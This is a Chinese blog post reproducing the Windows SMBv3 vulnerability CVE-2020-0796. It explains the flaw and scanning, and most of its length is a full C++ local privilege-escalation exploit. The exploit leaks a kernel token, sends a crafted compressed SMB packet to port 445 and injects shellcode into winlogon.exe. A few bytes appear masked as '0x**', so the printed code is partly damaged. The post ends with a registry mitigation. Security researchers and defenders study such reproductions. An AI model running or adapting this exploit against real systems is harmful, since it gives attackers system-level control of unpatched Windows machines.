Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现及详解

Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现及详解
2020-04-24 11:40:32 Author: www.secpulse.com(查看原文) 阅读量:561 收藏

2020年3月11日，某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述，其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞（CVE-2020-0796）。攻击者可能利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码，从而获取机器的完全控制。

微软SMBv3（Server Message Block 3.0）服务远程代码执行漏洞（CVE-2020-0796）可被攻击者利用，实现无须权限即可执行远程代码，受攻击的目标系统只需开机在线即可能被入侵。该漏洞后果十分接近永恒之蓝系列，存在被WannaCry等勒索蠕虫利用的可能，攻击者可以构造特定的网页、压缩包、共享目录、Office文档等多种方式触发漏洞进行攻击，对存在该漏洞的Windows主机造成严重威胁。

目前奇安信息威胁情报中心红雨滴团队已经确认漏洞的存在，利用此漏洞可以稳定地导致系统崩溃，不排除执行任意代码的可能性，由于漏洞无需用户验证的特性，可能导致类似WannaCry攻击那样蠕虫式的传播。2020年3月12日微软发布了相应的安全补丁，强烈建议用户立即安装补丁以免受此漏洞导致的风险。2020年3月14日，已有可导致受影响系统蓝屏崩溃的漏洞利用POC在公开渠道发布，可以稳定地导致系统远程拒绝服务。

3月22日奇安信代码安全团队发布了针对此漏洞的远程无损扫描器，可以帮助网络管理员快速地识别存在此漏洞的系统，欢迎使用。3月30日公开渠道出现利用此漏洞的本地提权利用代码，奇安信验证可用，本地攻击者可以利用漏洞从普通用户权限提升到系统权限。
参考文献：奇安信威胁情报中心红雨滴团队的分析报告

影响版本：
该漏洞属于远程代码执行漏洞，漏洞主要影响Windows10的系统及应用版本（1903和1909），包括32位、64位的家用版、专业版、企业版、教育版。具体如下：

漏洞原理：
在微软SMBv3远程代码执行漏洞中，SMB 3.1.1协议处理压缩消息时，对其中的数据没有经过安全检查，直接使用可能引发内存破坏漏洞，从而被攻击者利用远程执行任意代码。攻击者通过发送特殊构造的数据包触发漏洞，无需用户验证就可能控制目标系统，同时影响服务器与客户端系统。

该漏洞存在于Windows的SMBv3.0（文件共享与打印服务）中，利用的端口是445。当SMBv3.0处理恶意制作的压缩数据包时，由于SMB没有正确处理压缩的数据包，在解压数据包的时候使用客户端传过来的长度进行解压，并没有检查长度是否合法，最终导致整数溢出。远程未经认证的攻击者就可能利用此漏洞在应用程序的上下文中执行任意代码，系统受到非授权控制。

第一个实验是利用CVE-2020-0796漏洞进行本地提取，攻击者利用该漏洞从普通用户权限提升到系统权限。实验代码采用C++实现，主要执行EXE程序。
参考代码：https://github.com/danigargu/CVE-2020-0796

首先需要开启445端口。该端口和135、137、138、139、3389都是常见的高危端口，大家需要注意防御。作为安全初学者，如果指定端口都未开启或关闭，谈何后续的实验及防御呢？由于作者被该端口困扰了一段时间，所以简单分享一些基础知识，大佬勿喷~

· netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已开启 || echo 445未开启
445端口显示未开启，而3389端口显示已开启

第四步，启用文件和打印机共享，开启Server服务。
最终原因是Server服务未开启。Server支持计算机通过网络的文件、打印、和命名管道共享。如果服务停止，这些功能不可用。如果服务被禁用，任何直接依赖于此服务的服务将无法启动。

接着我们尝试用 “https://github.com/ollypwn/SMBGhost” 代码扫描是否存在该漏洞，Win10注意关闭防火墙。运行结果如下图所示，表示存在CVE-2020-0796漏洞。

扫描程序仅用于测试服务器是否易受攻击，它通过协商请求检查SMBv3.1.1协议和压缩功能，源代码如下所示。该漏洞主要是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的，它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。

第一步，采用scanner.py或bash文件扫描该漏洞。这里采用另一种方法，参考资源：https://github.com/joaozietolie/CVE-2020-0796-Checker

根据安全研究人员分析，该漏洞是一个整数溢出，发生在SMB服务驱动srv2.sys的Srv2DecompressData函数中。经过研究，研究人员成功证明了CVE-2020-0796漏洞可以被用于本地权限提升。不过需要注意的是，由于API的依赖问题，这个exploit被限制于中等完整性级别（integrity level）。

#include <stdio.h>

#include <stdint.h>

#include <winsock2.h>

#include <ws2tcpip.h>

#include <windows.h>

#include <TlHelp32.h>

#include "ntos.h"

#pragma comment(lib, "ws2_32.lib")

ULONG64 get_handle_addr(HANDLE h) {

ULONG len = 20;

NTSTATUS status = (NTSTATUS)0xc0000004;

PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;

do {

len *= 2;

pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);

status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);

} while (status == (NTSTATUS)0xc0000004);

if (status != (NTSTATUS)0x0) {

printf("NtQuerySystemInformation() failed with error: %#xn", status);

return 1;

}

DWORD mypid = GetProcessId(GetCurrentProcess());

ULONG64 ptrs[1000] = { 0 };

for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {

PVOID object = pHandleInfo->Handles[i].Object;

ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;

DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;

if (pid != mypid)

continue;

if (handle == (ULONG_PTR)h)

return (ULONG64)object;

}

return -1;

}

ULONG64 get_process_token() {

HANDLE token;

HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());

if (proc == INVALID_HANDLE_VALUE)

return 0;

OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);

ULONG64 ktoken = get_handle_addr(token);

return ktoken;

}

int error_exit(SOCKET sock, const char* msg) {

int err;

if (msg != NULL) {

printf("%s failed with error: %dn", msg, WSAGetLastError());

}

if ((err = closesocket(sock)) == SOCKET_ERROR) {

printf("closesocket() failed with error: %dn", WSAGetLastError());

}

WSACleanup();

return EXIT_FAILURE;

}

int send_negotiation(SOCKET sock) {

int err = 0;

char response[8] = { 0 };

const uint8_t buf[] = {

0x00,

0x00, 0x00, 0x**,

0xFE, 0x53, 0x4D, 0x42,

0x40, 0x00,

0x00, 0x00,

0x00, 0x00, 0x00, 0x00,

0x24, 0x00,

0x08, 0x00,

0x00, 0x00,

0x7F, 0x00, 0x00, 0x00,

0x01, 0x02, 0xAB, 0xCD,

0x78, 0x00,

0x00, 0x00,

0x02, 0x00,

0x00, 0x00,

0x02, 0x02,

0x10, 0x02,

0x22, 0x02,

0x24, 0x02,

0x00, 0x03,

0x02, 0x03,

0x10, 0x03,

0x11, 0x03,

0x00, 0x00, 0x00, 0x00,

0x01, 0x00,

0x26, 0x00,

0x00, 0x00, 0x00, 0x00,

0x01, 0x00,

0x20, 0x00,

0x01, 0x00,

0x00, 0x00, 0x00, 0x00,

0x00, 0x00,

0x03, 0x00,

0x0E, 0x00,

0x00, 0x00, 0x00, 0x00,

0x02, 0x00,

0x00, 0x00,

0x01, 0x00, 0x00, 0x00,

0x02, 0x00,

0x03, 0x00,

0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00

};

if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {

recv(sock, response, sizeof(response), 0);

}

return err;

}

int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {

int err = 0;

char response[8] = { 0 };

const uint8_t buf[] = {

0x00,

0x00, 0x00, 0x33,

0xFC, 0x53, 0x4D, 0x42,

0xFF, 0xFF, 0xFF, 0xFF,

0x02, 0x00,

0x00, 0x00,

0x10, 0x00, 0x00, 0x00,

};

uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);

if (packet == NULL) {

printf("Couldn't allocate memory with malloc()n");

return error_exit(sock, NULL);

}

memcpy(packet, buf, sizeof(buf));

*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;

*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;

memcpy(packet + sizeof(buf) + 0x10, buffer, len);

if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {

recv(sock, response, sizeof(response), 0);

}

free(packet);

return err;

}

void inject(void) {

PROCESSENTRY32 entry;

entry.dwSize = sizeof(PROCESSENTRY32);

uint8_t shellcode[] = {

0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,

0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,

0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,

0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,

0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,

0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,

0xff, 0xc2,

0xFF, 0xD7, 0x48, 0x83, 0x**,

0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00

};

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

int pid = -1;

if (Process32First(snapshot, &entry) == TRUE) {

while (Process32Next(snapshot, &entry) == TRUE) {

if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {

pid = entry.th32ProcessID;

break;

}

CloseHandle(snapshot);

if (pid < 0) {

printf("Could not find processn");

return;

}

printf("Injecting shellcode in winlogon...n");

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (hProc == NULL) {

printf("Could not open processn");

return;

}

LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if (lpMem == NULL) {

printf("Remote allocation failedn");

return;

}

if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {

printf("Remote write failedn");

return;

}

if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {

printf("CreateRemoteThread failedn");

return;

}

printf("Success! ;)n");

}

int main(int argc, char* argv[]) {

WORD wVersionRequested = MAKEWORD(2, 2);

WSADATA wsaData = { 0 };

SOCKET sock = INVALID_SOCKET;

uint64_t ktoken = 0;

int err = 0;

printf("-= CVE-2020-0796 LPE =-n");

printf("by @danigargu and @dialluvioso_nn");

if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {

printf("WSAStartup() failed with error: %dn", err);

return EXIT_FAILURE;

}

if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {

printf("Couldn't find a usable version of Winsock.dlln");

WSACleanup();

return EXIT_FAILURE;

}

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (sock == INVALID_SOCKET) {

printf("socket() failed with error: %dn", WSAGetLastError());

WSACleanup();

return EXIT_FAILURE;

}

sockaddr_in client;

client.sin_family = AF_INET;

client.sin_port = htons(445);

InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {

return error_exit(sock, "connect()");

}

printf("Successfully connected socket descriptor: %dn", (int)sock);

printf("Sending SMB negotiation request...n");

if (send_negotiation(sock) == SOCKET_ERROR) {

printf("Couldn't finish SMB negotiationn");

return error_exit(sock, "send()");

}

printf("Finished SMB negotiationn");

ULONG buffer_size = 0x1110;

UCHAR *buffer = (UCHAR *)malloc(buffer_size);

if (buffer == NULL) {

printf("Couldn't allocate memory with malloc()n");

return error_exit(sock, NULL);

}

ktoken = get_process_token();

if (ktoken == -1) {

printf("Couldn't leak ktoken of current process...n");

return EXIT_FAILURE;

}

printf("Found kernel token at %#llxn", ktoken);

memset(buffer, 'A', 0x1108);

*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;

ULONG CompressBufferWorkSpaceSize = 0;

ULONG CompressFragmentWorkSpaceSize = 0;

err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS,

&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);

if (err != STATUS_SUCCESS) {

printf("RtlGetCompressionWorkSpaceSize() failed with error: %dn", err);

return error_exit(sock, NULL);

}

ULONG FinalCompressedSize;

UCHAR compressed_buffer[64];

LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);

if (lpWorkSpace == NULL) {

printf("Couldn't allocate memory with malloc()n");

return error_exit(sock, NULL);

}

err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,

compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

if (err != STATUS_SUCCESS) {

printf("RtlCompressBuffer() failed with error: %#xn", err);

free(lpWorkSpace);

return error_exit(sock, NULL);

}

printf("Sending compressed buffer...n");

if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {

return error_exit(sock, "send()");

}

printf("SEP_TOKEN_PRIVILEGES changedn");

inject();

WSACleanup();

return EXIT_SUCCESS;

}

写到这里，这篇CVE-2020-0796漏洞复现的文章就介绍结束了，希望对您有所帮助。这篇文章也存在一些不足，作者没有更深入的理解其原理，也是作为网络安全初学者的慢慢成长路吧！希望未来能更透彻撰写相关文章。

根据BleepingComputer的说法，尽管Microsoft并未共享禁用SMBv3压缩的官方方法，但是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后可以通过手动修改注册表，防止被黑客远程攻击。
(1) 在注册表“HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters”建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。
(2) 在管理员模式启动PowerShell，将以下命令复制到Powershell命令行，执行即可。

文章来源: https://www.secpulse.com/archives/129202.html
如有侵权请联系:admin#unsafe.sh